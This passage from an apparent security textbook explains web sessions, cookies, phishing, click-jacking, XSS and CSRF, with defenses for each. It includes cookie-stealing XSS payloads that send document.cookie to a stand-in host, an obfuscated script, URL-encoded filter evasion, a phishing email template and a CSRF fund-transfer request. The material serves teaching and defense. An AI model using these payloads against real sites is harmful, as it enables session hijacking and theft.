icantly mitigates the risk of cross-site scripting (XSS) attacks, which are
discussed later in Section 2.6.
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How Cookies Support Sessions

To let the server access previously set cookies, the client automatically
includes any cookies set for a particular domain and path in the Cookie
field of any HTTP request header being sent to that server. Because this
information is returned to the server with every HTTP request, there is no
need for web servers to handle cookies locally—cookie information can be
interpreted and manipulated on a per-request basis, as with GET and POST
variables.

Notably, a user’s cookies are accessible via the DOM, and therefore can
be accessed by many scripting languages. The cookie specification is built
directly into the HTTP protocol, which is interpreted by the browser. As a
result, the mechanism for setting and accessing cookies is different for each
scripting language.

Many languages have their own built-in cookie APIs that provide con-
venient means of using cookies, but other languages, including Javascript,
treat cookies as simple strings of text stored in the DOM and have no built-
in cookie mechanism other than DOM-accessing functions. Oftentimes,
developers for these languages will release libraries to supplement core
functionality, providing easier ways of handling cookies that are not in-
cluded by default.

All of these properties of cookies are managed by the browser, rather
than the operating system. Each browser sets aside space for storing this
information, and allows the possibility of a user having separate sets of
cookie information for each of multiple browsers.

Security Concerns for Cookies

Cookies have profound implications for the security of user sessions. For
instance, it is dangerous to store any sensitive information unencrypted
in the body of a cookie, since cookies can typically be accessed by users
of the system on which they are stored. Even if sensitive information is
encrypted, however, accessing a user’s cookies for a web site may allow
an attacker to assume that user’s session. Because of this, there is a need
for users to protect their cookies as they would any login information.
The expiration date built into cookies is a good preventive measure, but
it is still recommended that users erase their cookies on a regular basis to
prevent such attacks. In addition to these security concerns, cookies also
raise several issues related to user privacy, which are discussed later in this
chapter.
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Server-Side Sessions

A final method of maintaining session information is to devote space on the
web server for keeping user information. This model reduces several risks
for the user, because compromise of the user’s system no longer necessarily
results in compromise of their web sessions.

In order to associate a given session with a particular client, servers
typically use a session ID or session token — a unique identifier that
corresponds to a user’s session. The server then employs one of the two
previous methods (GET/POST variables or cookies) to store this token
on the client side. When the client navigates to a new page, it transfers
this token back to the server, which can then retrieve that client’s session
information. (See Figure 12.) A session ID should be hard to guess by
an attacker. Thus, a typical mechanism for issuing sesssion IDs involves
the use of a random number generator or of a message authentication code.

Joe Doe
Session ID:

Session ID
(sent with GET,

POST ki )

7jkLKflk390

POST, or cookie)

Web server

Web browser (client)

DatabaseDatabase
(maps session

IDs to user 
Information))

Figure 12: Creating a web session using a session ID.

Such a system could be used, for instance, by a web site featuring a
shopping cart into which a user can place items he intends to purchase. By
using a session ID tied to the shopping cart, the web site can keep track of
all the items the shopper wants to buy. At some point, the shopper goes to
a checkout page, again passing the session ID to the server, which can then
bring up all the items from the cart and complete the transaction.

Note that, if the client’s computer is ever compromised, then all the attacker
learns is an old session ID that is likely to have expired by the time the attack
occurs.
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2 Attacks on Clients

As already noted, web browsers are now an integral part of the way people
use computers. Because of this, web browsers are also popular targets
for attack. In this section, we discuss attacks that are targeted at the web
browsers that people use every day.

2.1 Session Hijacking

Performing an HTTP session hijacking attack not only requires that the
attacker intercept communication between a web client and web server, but
also requires that the attacker impersonate whatever measures are being
used to maintain that HTTP session. (See Figure 13.)

Joe Doe

Session ID
(sent ith GET

Session ID:
7jkLKflk390

(sent with GET,
POST, or cookie)

Web server

Web browser (legitimate client)

Joe Doe

Database
(maps session

Session ID:
7jkLKflk390

(maps session
IDs to user 
Information)

Attacker
Figure 13: A session hijack attack based on a stolen session ID.

An attacker can take over a TCP session in an attack called session hijacking.
Similarly, HTTP sessions can also be taken over in session hijacking attacks.
In fact, a TCP session hijacking attack can itself be used to take over an HTTP
session. Such an attack can be especially damaging if strong authentication
is used at the beginning of an HTTP session but communication between the
client and server is unencrypted after that.
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Defenses Against HTTP Session Hijacking

If the attacker is utilizing a packet sniffer, then he might be able to discover
any session IDs that are being used by a victim. Likewise, he might also be
able to mimic session tokens encoded in cookies or GET/POST variables.
Given this information, an attacker can hijack an HTTP session. Thus, a first
line of defense against HTTP session hijacking is to protect against packet
sniffers and TCP session hijacking.

If an attacker can reconstruct a valid server-side session token, or mimic
a client-side token, then he can assume the identity of the legitimate user
with that token. Thus, to prevent session hijacking when sessions are
established using client-side tokens, it is important for servers to encrypt
such session tokens. Likewise, server-side session IDs should be created
in ways that are difficult to predict, for instance, by using pseudo-random
numbers.

In addition, it is also important for servers to defend against possible
replay attacks, which are attacks based on reusing old credentials to per-
form false authentications or authorizations. In this case, a replay attack
would involve an attacker using an old, previously valid token to perform
an attempted HTTP session hijacking attack. A server can protect against
such attacks by incorporating random numbers into client-side tokens, as
well as server-side tokens, and also by changing session tokens frequently,
so that tokens expire at a reasonable rate. Another precaution is to associate
a session token with the IP addresses of the client so that a session token is
considered valid only when connecting from the same IP address.

Trade-Offs

Note that with server-side session tokens, since the client only stores the
session ID and not any sensitive information about the client, there is little
long-term risk of compromise at the client end. Moreover, server-side
sessions are terminated when the client closes the browser. Thus, server-
side session techniques that use random session tokens that are frequently
changed can result in a reduced risk for HTTP session hijacking on the
user’s end.

Nevertheless, the space and processing required of the server to track
all of its users’ sessions may make this method impractical in some cases,
depending on the amount of traffic a web site receives and the storage space
available at the server. Thus, there may be a trade-off in this case between
security and efficiency.

Web Security

348



2.2 Phishing

In a phishing attack, an attacker creates a dummy web site that appears to
be identical to a legitimate web site in order to trick users into divulging
private information. When a user visits the fake site, they are presented
with a page that appears to be an authentication page for the legitimate
site. On submitting their username and password, however, the malicious
site simply records the user’s now-stolen credentials, and hides its activity
from the user, either by redirecting them to the real site or presenting a
notice that the site is “down for maintenance.” Most phishing attacks target
the financial services industry, most likely due to the high value of phished
information related to financial transactions.

Phishing typically relies on the fact that the user will not examine
the fraudulent page carefully, since it is often difficult to recreate pages

http://www.securetotaltrust.com X http://www.securetotalrust.com X

Secure Bank of Total Trust Secure Bank of Total Trust

Checking
Savings

User ID:

Password:

Checking
Savings

User ID:

Password:
Loans

Password:
Loans

Password:

(a) (b)(a) (b)

Figure 14: A phishing attack based on a misspelled URL, which could, for
example, have been included in a spam email asking a customer to check
their account balance: (a) The real web site . (b) A phishing web site.

In addition, viewing the source code of a web site carefully could give
additional evidence of fraud. One of the most popular phishing prevention
techniques used by browsers is regularly updated blacklists of known
phishing sites. If a user navigates to a site on the list, the browser alerts
the user of the danger.

exactly. Also, unless the URL is falsified as a result of DNS cache poisoning,
a simple glance at the address bar could provide clues that the site is a fake.
These attacks are often facilitated by spammers who send out mass emails
that claim to be from legitimate financial institutions but which really con-
tain links to phishing pages. (See Figure 14.)
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URL Obfuscation

A popular technique used by phishers is to somehow disguise the URL of
the fake site, so as not to alert a victim of any wrongdoing. For instance,
a simple misspelling of a URL might not be noticed by a casual user, as
illustrated in Figure 14. Likewise, spam emails that are written in HTML
are often displayed in formatted fashion by most email clients. Another
trick phishers use is to include a hyperlink in the email that appears real
but actually links to a phishing site. For instance, consider the following
HTML source of a spam email message.

<p>Dear customer:<br>
We at Secure Bank of Total Trust care a great deal about
your financial security and have noticed some suspicious
activity on your account. We would therefore like to ask you
to please login to your account, using the link below, to
confirm some of the latest charges on your credit card.<br>

<a href="http://phisher225.com">http://www.securetotaltrust.com</a>

<br>Sincerely,<br>
The Account Security Team at Secure Bank of Total Trust</p>

One variation of this URL obfuscation method is known as the Unicode
attack, more formally known as a homeograph attack. Unicode characters
from international alphabets may be used in URLs in order to support sites
with domain names in multiple languages, so it is possible for phishers to
register domain names that are very similar to existing legitimate sites by
using these international characters. Even more dangerous, however, is the
fact that there are many characters that have different Unicode values but
are rendered identically by the browser.

A famous example involved a phishing site that registered the domain
www.paypal.com using the Cyrillic letter p, which has Unicode value #0440,
instead of the ASCII letter p, which has Unicode value #0070. When visitors
were directed to this page through spam emails, no examination of the
URL would reveal any malicious activity, because the browser rendered the
characters identically. Even more nefarious, the owner of the fake site reg-
istered an SSL certificate for the site, because it was verified using domain
validation that the requester did in fact own the faux-PayPal domain name.
This attack could be prevented by disabling international characters in the
address bar, but this would prevent navigation to sites with international
characters in their domain names. Alternately, the browser could provide a
visual cue when non-ASCII characters are being used (by displaying them
in a different color, for example), to prevent confusion between visually
similar characters.
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2.3 Click-Jacking

Similar to the idea of URL obfuscation that is used in phishing attacks,
click-jacking is a form of web site exploitation where a user’s mouse click
on a page is used in a way that was not intended by the user. For example,
consider the Javascript code of Code Fragment 5.

<a onMouseUp=window.open("http://www.evilsite.com")
href="http://www.trustedsite.com/">Trust me!</a>

Code Fragment 5: Click-jacking accomplished using the Javascript function
window.open triggered by event onMouseUp.

This piece of HTML code is a simple example that creates a link which
appears to be point to www.trustedsite.com. Moreover, this code may even
provide a false sense of security to the user, since many browsers show
the target URL of a link in the status bar when the user hovers the mouse
pointer on the hyperlink. In this case, however, the code actually uses
the Javascript function window.open that directs the user to the alternate
site www.evilsite.com after releasing the mouse click, which triggers the
onMouseUp event.

Other Actions that Can Be Click-Jacked

Click-jacking extends beyond the action of actually clicking on a page, since
it is possible for malicious sites to use other Javascript event handlers such
as onMouseOver, which triggers an action whenever a user simply moves
their mouse over that element.

Another common scenario where click-jacking might be used is ad-
vertisement fraud. Most online advertisers pay the sites that host their
advertisements based on the number of click-throughs—how many times
the site actually convinced users to click on the advertisements. Click-
jacking can be used to force users to unwillingly click on advertisements,
raising the fraudulent site’s revenue, which is an attack known as click
fraud.

These risks collectively demonstrate the additional safety provided by
changing browser settings to prevent scripts from running without the user
granting explicit permission. For example, the NoScript plugin for Firefox
allows users to maintain a whitelist of trusted host names for which scripts
are allowed execution.
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2.4 Vulnerabilities in Media Content

A significant area of risk for a web client is vulnerabilities that might be
present in dynamic media content. These types of attacks occur because of
malicious actions that might be attempted by the media content players and
interactive tools that should otherwise be providing a safe and enjoyable
user experience.

The Sandbox

Before continuing the discussion of such attacks on clients, it is helpful to
introduce the idea of the sandbox. A sandbox refers to the restricted privi-
leges of an application or script that is running inside another application.
For example, a sandbox may allow access only to certain files and devices.
These limitations are collectively known as a sandbox. (See Figure 15.)

The Main Application
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read
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execute
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display any content
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embedded
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Figure 15: Actions restricted to a sandbox.

Javascript has a carefully delineated set of elements that it is allowed
to access when run inside a web browser, including the DOM hierarchy
of a web site. Javascript has no ability to execute code on a user’s machine
outside of the browser, however, or to affect web sites open in other browser
windows.
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Different scripting languages and media applications are granted vary-
ing access to different components inside most web browsers. For example,
Adobe Flash applications are allowed to write to (but not read from) the
user’s clipboard in most systems. (The clipboard is a buffer devoted to
storing information that is being copied and pasted.) By allowing certain
technologies to run in a web browser, a user is giving that technology
permission to access the resources that are allotted to it, as defined by
its sandbox. Sometimes, this access can be abused, as seen by recent
attacks where malicious web sites persistently hijack a user’s clipboard
with links pointing to sites hosting malware. Occasionally, vulnerabilities
in a technology can allow attackers to overstep the bounds of the sandbox
and access resources not normally accessible by that technology.

Developers are often striving to create new ways of isolating code exe-
cution to reduce the impact of malicious behavior. For example, Google’s
Chrome browser runs each new tab as a new process, effectively sandbox-
ing each tab at the operating system level. This tactic mitigates the risk of
vulnerabilities allowing browser tabs to access the contents of other tabs by
creating a sandbox beneath the application layer.

Javascript and Adobe Flash are just two examples of mechanisms devel-
oped to provide users with a more dynamic, interactive browsing experi-
ence. With each new technology comes a rich new set of features for users to
take advantage of, but accompanying these new features are new security
concerns. Essentially, users are constantly making trade-offs between the
browser experience and security—the more supplemental technology a
client is using, the more it is vulnerable to attack. It should be the goal
of the user to find a balance between an acceptable degree of security and
the ability to fully experience the Web.

Browsers themselves have become increasingly complex. Just as with
any other application, this complexity increases the possibility of appli-
cation level security vulnerabilities. Vulnerabilities in web browsers are
particularly dangerous, because they may allow an attacker to escape the
sandbox of typical web applications and execute malicious code directly on
the victim’s system. For example, a user with a vulnerable browser may
visit a web site that delivers malicious code designed specifically to exploit
that browser and compromise the user’s machine. As with other appli-
cations, developers should take care to vigorously test their programs for
vulnerabilities prior to deployment, and release frequent security patches to
address issues as they are discovered. Web browser and plugin developers
should especially protect the sandbox, since it defines a buffer of protection
between embedded content and the browser.
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Media Content and Adobe Flash

Online media content can be another vector for attack. Increasingly, audio
and video are embedded into web sites. If an embedded media player used
by a web browser to play this content has application-level flaws, malicious
media files may be created to escape the sandbox of the victim’s browser
and execute code on the victim’s machine. This has been a recurring
problem for streaming media technologies.

One particularly popular media format is Adobe Flash (formerly known
as Macromedia Flash, then Shockwave Flash). This technology is nearly
ubiquitous, and is frequently used to create advertisements or other in-
teractive web content. Like all media content requiring a separate player,
however, Flash presents potentials for security vulnerabilities in exploiting
application flaws in the Flash media player. Thus, one should always
be using the latest version of this player, which will include patches to
previously discovered vulnerabilities.

Java Applets

Even with all the scripting languages and media players that are avail-
able, web developers and users crave ever more powerful web technol-
ogy. For example, interactive experiences can be implemented in Java,
a popular object-oriented, full-featured programming language that has
cross-compatibility between different operating systems. Like Flash, which
uses the ActionScript virtual machine, Java programs are also run using a
sandboxed virtual machine, which lends itself to preventing
from accessing other system resources.

Java applets provide a way of delivering full-fledged Java applications
through a user’s web browser. Java applets are run in a sandbox that, by de-
fault, prevents them from reading from or writing to the client’s file system,
launching programs on the client’s machine, or making network connec-
tions to machines other than the web server that delivered the applet. These
sandbox restrictions significantly mitigate the risk of dangerous behavior
by Java applets. Nevertheless, applets that are approved as being trusted by
the user can have their sandbox restrictions extended beyond these limits.
This ability places an additional burden on the user to understand when to
trust Java applets, since malicious applets can have the power to do serious
damage to a system. Thus, care should be taken whenever one is asked to
override sandbox restrictions for a “trusted” applet.

A developer of Java applets can obtain a code signing certificate from
a CA and create signed applets with the corresponding private key. When
a signed applet requests to operate outside of the sandbox, it presents the
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certificate to the user, who, after verifying the validity of the certificate and
the integrity of the applet code, can decide on whether to allow privilege
elevation based on whether she trusts the developer.

ActiveX Controls

ActiveX is a proprietary Microsoft technology designed to allow Windows
developers to create applications, called ActiveX controls, that can be deliv-
ered over the web and executed in the browser (specifically, in Microsoft’s
Internet Explorer). ActiveX is not a programming language, however; it is
a wrapper for deployment of programs that can be written in a number of
languages.

Unlike Java applets, which are usually run in a restrictive sandbox,
ActiveX controls are granted access to all system resources outside of the
browser. Informally speaking, an ActiveX control is an application down-
loaded on the fly from a web site and executed on the user’s machine. As a
result, ActiveX controls can effectively be used as a vector for malware. To
alleviate this risk, a digital signature scheme is used to certify the author of
ActiveX controls. Developers can sign their ActiveX controls and present
a certificate, proving to the user their identity and that the control has not
been tampered with since development.

The fact that a control is signed does not necessarily guarantee its
security, however. In particular, an attacker could host a signed ActiveX
control and use it for malicious purposes not intended by the developer,
possibly leading to arbitrary code execution on a user’s system. Because
ActiveX controls have the full power of any application, it is important that
legitimate ActiveX controls are rigorously tested for security vulnerabilities
before being signed, and that steps are taken to ensure that a control cannot
be abused or put to malicious use.

Since ActiveX is a Microsoft technology, policy management for ActiveX
controls is included in both Internet Explorer and the Windows operating
system. The browser settings of Internet Explorer allow users to specify
whether they would like to allow ActiveX controls, block ActiveX con-
trols, or allow ActiveX controls only after prompting, with specific settings
depending on whether the controls are digitally signed or untrusted. In
addition, administrators can manage the use of ActiveX controls within an
organization by allowing users to only run ActiveX controls that have been
specifically approved by that administrator.

Web Security

355



2.5 Privacy Attacks

As the Internet has evolved to be a universal source of information, user
privacy has become a key consideration. Millions of people store personal
information on web sites, such as social networking sites, and this informa-
tion often becomes publicly available without the user’s knowledge. It is
important for users to be aware of how a web site will use their information
before giving it, and to generally be wary of giving private information to
an untrusted web site. Often, illegitimate web sites attempt to coax private
information from users, which is then sold to advertisers, spammers and
identity thieves.

Third-Party and Tracking Cookies

Protecting Privacy

Modern browsers include a number of features designed to protect user
privacy. Browsers now include the ability to specify policies regulating how
long cookies are stored and whether or not third-party cookies are allowed.
In addition, private data such as the user’s history and temporarily cached
files can be set to be deleted automatically. Finally, to protect a user’s
anonymity on the Web, proxy servers can be used. Thus, in addition to
regularly reviewing the cookies stored in a web browser, the user should
also review the privacy settings in the web browser. Even if the user usually
navigates the web with a fairly open set of privacy settings, most modern
web browsers have a “private browsing” mode, which can be entered using
a single command, preventing the storage of any cookies and the recording
of any browsing history while in this mode.

Web Security

In addition to privacy-invasive software, like adware and spyware, cookies
create a number of specific privacy concerns. For instance, since web servers
set cookies through HTTP responses, if a web site has an embedded image
hosted on another site, the site hosting the image can set a cookie on the
user’s machine. Cookies that are set this way are known as third-party cook-
ies. Most commonly, these cookies are used by advertisers to track users
across multiple web sites and gather usage statistics. Some consider this
monitoring of a user’s habits to be an invasion of privacy, since it is done
without the user’s knowledge or consent. Blocking third-party cookies does
not automatically defend against tracking across different websites. Indeed,
an advertising network may have image servers hosting multiple domain
names from participating websites
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2.6 Cross-Site Scripting (XSS)

One of the most common web security vulnerabilities today is from cross-
site scripting (XSS) attacks. These are attacks where improper input val-
idation on a web site allows malicious users to inject code into the web
site, which later is executed in a visitor’s browser. To further understand
this vulnerability, we study two basic types of XSS attacks, persistent and
nonpersistent.

Persistent XSS

In a persistent XSS attack, the code that the attacker injects into the web
site remains on the site for a period of time and is visible to other users.
A classic example of persistent XSS is exploiting a web site’s guestbook or
message board.

Consider a web site, such as a news web site or social networking site,
that incorporates a guestbook allowing visitors to enter comments and
post them for other visitors to see. If the user input to be stored in the
guestbook is not properly sanitized to strip certain characters, it may be
possible for an attacker to inject malicious code that is executed when other
users visit the site. First, the user might be presented with the form from
Code Fragment 6.

<html>
<title>Sign My Guestbook!</title>

<body>
Sign my guestbook!
<form action="sign.php" method="POST">

<input type="text" name="name">
<input type="text" name="message" size="40">
<input type="submit" value="Submit">

</form>
</body>

</html>

Code Fragment 6: A page that allows users to post comments to a guest-
book.

On entering a comment, this page will submit the user’s input as POST
variables to the page sign.php. This page presumably uses server-side code
(which will be discussed later in this chapter), to insert the user’s input into
the guestbook page, which might look something like that shown in Code
Fragment 7.
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<html>
<title>My Guestbook</title>

<body>
Your comments are greatly appreciated!<br />
Here is what everyone said:<br />
Joe: Hi! <br />
John: Hello, how are you? <br />
Jane: How does the guestbook work? <br />

</body>
</html>

Code Fragment 7: The guestbook page incorporating comments from visi-
tors.

Take, for instance, the snippet of Javascript code in Code Fragment 8.

<script>
alert("XSS injection!");

</script>

Code Fragment 8: Javascript code that might be used to test XSS injection.

This Javascript code simply creates a pop-up message box with the text
XSS injection! when the code is executed. If the sign.php script on the
server simply copies whatever the user types in the POST form into the
contents of the guestbook, the result would be the code shown in Code
Fragment 9. If anyone visited the page containing the attacker’s comment,
this excerpt would be executed as code and the user would get a pop-up
message box.

<html>
<title>My Guestbook</title>

<body>
Your comments are greatly appreciated!<br />
Here is what everyone said:<br />
Evilguy: <script>alert("XSS Injection!");</script> <br />
Joe: Hi! <br />
John: Hello, how are you? <br />
Jane: How does the guestbook work? <br />

</body>
</html>

Code Fragment 9: The resulting guestbook page, with the Javascript above
injected via XSS.
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In this case, the guestbook is known as an attack vector—it’s the means
by which a malicious user can inject code. The specifics of that injected
code are known as the payload. In this case, the payload was a relatively
harmless (if annoying) pop-up box, but it is possible to construct much
more dangerous payloads. (See Figure 16.)

Attacker

Victim

XSS Vulnerable
Website

Malicious 
Script Code

Figure 16: In an XSS attack, the attacker uses the web site as a vector to
execute malicious code in a victim’s browser.

Javascript has the ability to redirect visitors to arbitrary pages, so this is
one possible avenue for attack. Malicious users could simply inject a short
script that redirects all viewers to a new page that attempts to download
viruses or other malware to their systems. Combined with Javascript’s
ability to access and manipulate cookies, however, this attack can become
even more dangerous. For example, an attacker could inject the script of
Code Fragment 10 into a guestbook.

<script>
document.location = "http://www.evilsite.com/
steal.php?cookie="+document.cookie;

</script>

Code Fragment 10: A Javascript function that could be used to steal a user’s
cookie.

This code uses Javascript’s ability to access the DOM to redirect a
visitor to the attacker’s site, www.evilsite.com, and concatenates the user’s
cookies (accessed by the DOM object document.cookie) to the URL as a GET
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parameter for the steal.php page, which presumably records the cookies.
The attacker could then use the cookies to impersonate the victim at the
target site in a session hijacking attack. Nevertheless, this technique is a
bit crude, because a user would most likely notice if their browser was
redirected to an unexpected page. There are several techniques an attacker
could use to hide the execution of this code. Two of the most popular are
embedding an image request to the malicious URL and using an invisible
iframe—an HTML element which makes it possible to embed a web page
inside another.

Code Fragment 11 shows a use of Javascript to create an image, which
then sets the source of that image to the attacker’s site, again passing the
cookie as a GET variable. When the page is rendered, the victim’s browser
makes a request to this URL for the image, passing the cookie to the user
without displaying any results (since no image is returned).

<script>
img = new Image();
img.src = "http://www.evilsite.com/steal.php?cookie="

+ document.cookie;
</script>

Code Fragment 11: Using an image for XSS.

Similarly, an invisible iframe can be used to accomplish the same goal.
In Code Fragment 12, an invisible iframe is create with an id of XSS.
Then, a short script is injected that accesses this element using the DOM and
changes the source of the iframe to the attacker’s site, passing the cookies
as a GET parameter.

<iframe frameborder=0 src="" height=0 width=0 id="XSS"
name="XSS"></iframe>

<script>
frames["XSS"].location.href="http://www.evilsite.com/steal.php?cookie="

+ document.cookie;
</script>

Code Fragment 12: Using a hidden iframe for XSS.

Note that the above cookie stealing attacks could not be accomplished
by injecting HTML code alone, because HTML cannot directly access the
user’s cookies.

Notably, some XSS attacks can persist beyond the attacker’s session but
not be accessible immediately. For example, it may be possible to inject
a malicious script into the web server’s database, which may be retrieved
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and displayed in a web page at a later time, at which point the script will
execute in the user’s browser.

Nonpersistent XSS

In contrast to the previous example of a guestbook, where the injected
Javascript remains on the page for viewers to see, most real-life examples
of cross-site scripting do not allow the injected code to persist past the
attacker’s session. There are many examples of how these nonpersistent
XSS vulnerabilities can be exploited, however.

A classic example of nonpersistent XSS is a search page that echoes the
search query. For example, on typing “security book” into a search box on
a web site, the results page might begin with a line reading

Search results for security book.

If the user’s input is not sanitized for certain characters, injecting segments
of code into the search box could result in the search-results page including
that code as content on the page, where it would then be executed as code
in the client’s browser.

At first glance, this vulnerability may not seem all that significant—
after all, an attacker seems to only have the ability to inject code to a page
that is only viewable by the attacker. Nevertheless, consider a search page
where the search query is passed as a GET parameter to a search script, as
represented by the following URL:

http://victimsite.com/search.php?query=searchstring

An attacker could construct a malicious URL that includes their chosen
Javascript payload, knowing that whenever someone navigated to the URL,
their payload would be executed in the victim’s browser. For example, the
following URL might be used to accomplish the same cookie-stealing attack
as the previous persistent example:

http://victimsite.com/search.php?query=
<script>document.location=‘http://evilsite.com/steal.php?cookie=’
+document.cookie</script>

On clicking this link, the user would unknowingly be visiting a page
that redirects the browser to the attacker’s site, which in turn steals the
cookies for the original site. In order to increase the chance of users clicking
on this link, it might be propagated via mass spam emails.
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Defenses against XSS

Cross-site scripting is considered a client-side vulnerability, because it ex-
ploits a user, rather than the host, but the root cause of these errors are on
the server side. Fundamentally, the cause of XSS is a programmer’s failure
to sanitize input provided by a user. For example, if a user must provide a
phone number for an HTML form, it would be good practice to only allow
numbers and hyphens as input. In general, programmers should strip all
user-provided input of potentially malicious characters, such as “<” and
“>”, which start and end scripting tags.

It is impossible for the user to prevent programming errors on the
part of the developer, however. Therefore, many users choose to disable
client-side scripts on a per-domain basis. Most browsers allow users to set
restrictive policies on when scripts may be executed. Some users choose to
eliminate all scripts except for specific sites on a white list. Others allow
scripts on all sites except for those listed on a public blacklist.

Firefox’s NoScript plugin allows control of these policies, as well as
an additional feature, XSS detection. NoScript mitigates XSS attacks by
ensuring that all GET and POST variables are properly sanitized for charac-
ters that could result in client-side code execution. Specifically, all quotes,
double quotes, and brackets are stripped from the URL, the referrer header,
and POST variables for every request launched from an untrusted origin
destined for a trusted web site. However, this method cannot prevent
exploitation of web sites by persistent XSS, because the malicious code is
embedded in the content of the web site and sanitizing user input will
not prevent the embedded code from being executed in a user’s browser.
NoScript’s filtering makes it difficult for malicious sites and emails to
exploit XSS vulnerabilities in innocent sites, however.

With XSS filtering and detection becoming more common, attackers
are now using several techniques to evade these prevention measures.
Browsers support a technique known as URL encoding to interpret spe-
cial characters safely. Each possible character has a corresponding URL
encoding, and the browser understands both the interpreted version and
encoded characters. A simple technique for filter evasion is using URL
encoding to obfuscate malicious GET requests. For example, the script
“<script>alert(‘hello’);</script>” encodes to

\%3C\%73\%63\%72\%69\%70\%74\%3E\%61\%6C\%65\%72\%74\%28\%27\%68\%65
\%6C\%6C\%6F\%27\%29\%3B\%3C\%2F\%73\%63\%72\%69\%70\%74\%3E

This encoded string can be used as a GET variable in the URL, and may
escape certain methods of URL sanitization.
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There are several other techniques for evading detection that rely on
scanning the actual code for malicious activity. For example, an XSS scanner
might prevent execution of any script lines that attempt to append a cookie
directly to the end of a URL, because this code might indicate an XSS attack.
Even so, consider Code Fragment 13.

<script>
a = document.cookie;
c = "tp";
b = "ht";
d = "://";
e = "ww";
f = "w.";
g = "vic";
h = "tim";
i = ".c";
j = "om/search.p";
k = "hp?q=";
document.location = b + c + d + e + f + g + h + i + j + k + a;

</script>

Code Fragment 13: Using code obfuscation to hide malicious intent.

By breaking the intended URL (http://www.victim.com/search.php?q=)
into shorter strings that are concatenated later, an attacker might avoid
detection by scanners that only check for valid URLs. This is a simple
example of code obfuscation: the idea of hiding the intention of a section
of code from observers. As XSS detection methods become more advanced,
code obfuscation techniques also evolve, creating a sort of race between the
two.

Other XSS Attacks

Cross-site scripting vulnerabilities also give attackers the power to craft
XSS worms that self-propagate on their target sites by using the abilities to
access the DOM as a mechanism for spreading. Popular social networking
sites such as MySpace and Facebook are often plagued by these worms,
since the ability to communicate with other users is built into the function-
ality of the site, and is therefore accessible by Javascript. A typical XSS
worm on a social networking site would execute some payload, and then
automatically send itself to friends of the victim, at which point it would
repeat the process and continue to propagate.
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2.7 Cross-Site Request Forgery (CSRF)

Another common type of web site vulnerability is known as cross-site re-
quest forgery (CSRF). CSRF is essentially the opposite of cross-site scripting.
While XSS exploits a user’s trust of a specific web site, CSRF exploits a web
site’s trust of a specific user. In a CSRF attack, a malicious web site causes
a user to unknowingly execute commands on a third-party site that trusts
that user, as depicted in Figure 17.

Victim

CSRF 
Vulnerable 
Website

Evil
WebsiteMalicious 

Request

Legitimate 
Request

Figure 17: In a CSRF attack, a malicious web site executes a request to a
vulnerable site on behalf of a trusted user of that site.

Suppose an innocent user handles his banking online at
www.naivebank.com. This user may stumble upon a site, www.evilsite.com,
that contains the lines of malicious Javascript code in Code Fragment 14.

<script>
document.location="http://www.naivebank.com/
transferFunds.php?amount=10000&fromID=1234&toID=5678";

</script>

Code Fragment 14: Code that exploits CSRF.

On reaching this line of code, the victim’s browser would redirect to
the victim’s bank—specifically, to a page that attempts to transfer $10,000
from the victim’s account (#1234) to the attacker’s account (#5678). This
attack would be successful if the victim was previously authenticated to the
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bank’s web site (e.g., using cookies). This is an unrealistic example, because
(hopefully) no bank would allow the execution of a money transfer without
prompting the user for explicit confirmation, but it demonstrates the power
of CSRF attacks.

While the case above exemplifies a classic attack, there are several other
techniques for exploiting CSRF vulnerabilities. For example, consider the
case where a web site is only viewable by users on a private network. This
might be accomplished by implementing a firewall that blocks requests
from sites outside of a specified IP range. However, a malicious user could
gather information on this private resource by creating a web site that,
when navigated to, issues cross-site requests on behalf of a trusted user.

More recently, a new type of CSRF attack has emerged, commonly
known as a login attack. In this variant, a malicious web site issues cross-
site requests on behalf of the user, but instead of authenticating to the
victim site as the user, the requests authenticate the user as the attacker. For
example, consider the case of a malicious merchant who allows customers
to purchase using PayPal. After a visitor logs into their PayPal account to
complete a payment, the merchant could silently issue a forged cross-site
request that reauthenticates the user by logging them in as the attacker. Fi-
nally, the user, unaware that they are logged in as the attacker, might input
credit card information that the attacker could later access by checking his
account. It is especially easy to accomplish this attack if the target web
site’s session information is passed via GET parameters. An attacker could
simply authenticate to the victim site, copy the URL, and create a malicious
site that at some point directs users to that URL, resulting in the users being
authenticated as the attacker.

CSRF attacks are particularly hard to prevent—to the exploited site,
they appear to be legitimate requests from a trusted user. One technique
is to monitor the Referrer header of HTTP requests, which indicates the site
visited immediately prior to the request. However, this can create problems
for browsers that do not specify a referrer field for privacy reasons, and may
be rendered useless by an attacker who spoofs the referrer field. A more
successful prevention strategy is to supplement persistent authentication
mechanisms, such as cookies, with another session token that is passed
in every HTTP request. In this strategy, a web site confirms that a user’s
session token is not only stored in their cookies, but is also passed in the
URL. Since an attacker is in theory unable to predict this session token, it
would be impossible to craft a forged request that would authenticate as
the victim. This new session token must be different from a token stored in
a cookie to prevent login attacks. Finally, users can prevent many of these
attacks by always logging out of web sites at the conclusion of their session.
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2.8 Defenses Against Client-Side Attacks

Based on the discussion of client-side web browser attacks, it should now be
clear that the web is a dangerous place for the uninformed user. Malicious
sites attempt to download malware to a user’s computer, fraudulent phish-
ing pages are designed to steal a user’s information, and even legitimate
sites can be vectors for an attack on the user, via techniques such as cross-
site scripting attacks, as well as violations of a user’s privacy, via tracking
cookies.

Mitigation of these attacks by the user can be facilitated with two
primary methods:

• Safe-browsing practices

• Built-in browser security measures

Safe-Browsing Practices

As much as we would like to avoid thinking about security while using
a web browser, much of the burden must nevertheless be placed on the
user. It is important that users are educated about how to safely browse the
Internet.

For example, links to unknown sites, either contained in email or in
the body of an untrusted web site, should not be clicked on. In addition,
whenever entering personal information to a web site, a user should always
confirm that HTTPS is being used by looking for an indication in the
browser, such as a padlock in the status bar or color coding in the address
bar. Most financial sites will use HTTPS for login pages, but if not, the user
should manually add the “s” or find a version of the login page that does
use HTTPS.

In addition, the legitimacy of the site should be confirmed by examining
the URL and ensuring that there are no certificate errors. And, of course,
users should never provide sensitive information to an unknown or un-
trusted web site.

Users should also be aware of a number of browser features that are
designed to prevent certain types of attacks. Most importantly, each
browser allows the customization of settings that allow fine-grained control
over how different features are allowed to run. For example, technologies
such as ActiveX and Java may be blocked completely, while pages using
Javascript might only run after the user is prompted by the browser.
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Built-in Browser Security Measures

Each browser has its own built-in methods of implementing security poli-
cies. As depicted in Figure 18, Internet Explorer introduces the notion
of zones. By default, web sites are placed in the Internet Zone. Users
can then delegate sites to Trusted and Restricted zones. Each zone has its
own set of security policies, allowing the user to have fine-grained control
depending on whether or not they trust a particular web site. In contrast,
Firefox does not utilize security zones, but applies its rules to all visited
